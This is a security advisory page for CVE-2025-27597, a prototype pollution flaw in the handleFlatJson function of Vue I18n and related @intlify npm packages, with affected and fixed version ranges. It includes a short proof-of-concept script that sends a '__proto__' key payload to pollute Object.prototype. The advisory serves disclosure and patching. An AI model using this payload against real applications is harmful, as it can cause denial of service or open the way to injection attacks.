CVE-2025-27597: Vue I18n Allows Prototype Pollution in `handleFlatJson`
Vulnerability type: Prototype Pollution Vulnerability Location(s): Description: The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson.
Published Mar 7, 2025 · Updated Aug 25, 2026
Affected packages
@intlify/message-resolver
- Ecosystem
- npm
- Affected
- >= 9.1.0, < 9.1.11
- Fixed in
- 9.1.11
- Check
npm ls @intlify/message-resolver
@intlify/vue-i18n-core
- Ecosystem
- npm
- Affected
- >= 9.2.0, < 9.14.3
- Fixed in
- 9.14.3
- Check
npm ls @intlify/vue-i18n-core
petite-vue-i18n
- Ecosystem
- npm
- Affected
- >= 10.0.0, < 10.0.6
- Fixed in
- 10.0.6
- Check
npm ls petite-vue-i18n
vue-i18n
- Ecosystem
- npm
- Affected
- >= 9.1.0, < 9.14.3
- Fixed in
- 9.14.3
- Check
npm ls vue-i18n
@intlify/core-base
- Ecosystem
- npm
- Affected
- >= 9.1.0, < 9.1.11
- Fixed in
- 9.1.11
- Check
npm ls @intlify/core-base
@intlify/core
- Ecosystem
- npm
- Affected
- >= 9.1.0, < 9.1.11
- Fixed in
- 9.1.11
- Check
npm ls @intlify/core
@intlify/vue-i18n-core
- Ecosystem
- npm
- Affected
- >= 10.0.0-alpha.1, < 10.0.6
- Fixed in
- 10.0.6
- Check
npm ls @intlify/vue-i18n-core
@intlify/vue-i18n-core
- Ecosystem
- npm
- Affected
- >= 11.0.0-beta.0, < 11.1.2
- Fixed in
- 11.1.2
- Check
npm ls @intlify/vue-i18n-core
petite-vue-i18n
- Ecosystem
- npm
- Affected
- >= 11.0.0-beta.0, < 11.1.2
- Fixed in
- 11.1.2
- Check
npm ls petite-vue-i18n
vue-i18n
- Ecosystem
- npm
- Affected
- >= 10.0.0-alpha.1, < 10.0.6
- Fixed in
- 10.0.6
- Check
npm ls vue-i18n
vue-i18n
- Ecosystem
- npm
- Affected
- >= 11.0.0-beta.0, < 11.1.2
- Fixed in
- 11.1.2
- Check
npm ls vue-i18n
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Vulnerability type: Prototype Pollution
Vulnerability Location(s):
# v9.1
node_modules/@intlify/message-resolver/index.js
# v9.2 or later
node_modules/@intlify/vue-i18n-core/index.jsDescription:
The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}// poc.js
(async () => {
const lib = await import('@intlify/message-resolver');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();Credited to mestrtee, massif-01, G-Rath.
References
- https://github.com/intlify/vue-i18n/security/advisories/GHSA-p2ph-7g93-hw3m
- https://github.com/intlify/vue-i18n/commit/d21e06a7440eed8ada7f522b22fcf830b98d3a53
- https://github.com/intlify/vue-i18n/commit/fbda9988d3ddd3a1a21740d506d2c183d6b6e36a
- https://github.com/intlify/vue-i18n/commit/feaf13fcff427f2cb1d5ec8076e639506ba28f9e
- https://github.com/intlify/vue-i18n/releases/tag/v10.0.6
- https://github.com/intlify/vue-i18n/releases/tag/v11.1.2
- https://github.com/intlify/vue-i18n/releases/tag/v9.14.3
- https://nvd.nist.gov/vuln/detail/CVE-2025-27597
- https://github.com/intlify/vue-i18n/commit/4bb6eacda7fc2cde5687549afa0efb27ca40862a
- https://github.com/advisories/GHSA-p2ph-7g93-hw3m
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-118256
Vue I18n: `escapeParameter` does not escape named values when the same call also passes a list
low2.1Oct 28, 2026CVE-2026-118257
Vue I18n: escapeParameter does not prevent XSS through srcdoc in translation messages
high7.2No fixOct 28, 2026CVE-2025-53892
vue-i18n's escapeParameterHtml does not prevent DOM-based XSS through its tag attributes
medium5.3Jul 16, 2025CVE-2024-52809
vue-i18n has cross-site scripting vulnerability with prototype pollution
medium5.3Dec 2, 2024CVE-2024-52810
@intlify/shared Prototype Pollution vulnerability
medium6.9Dec 2, 2024
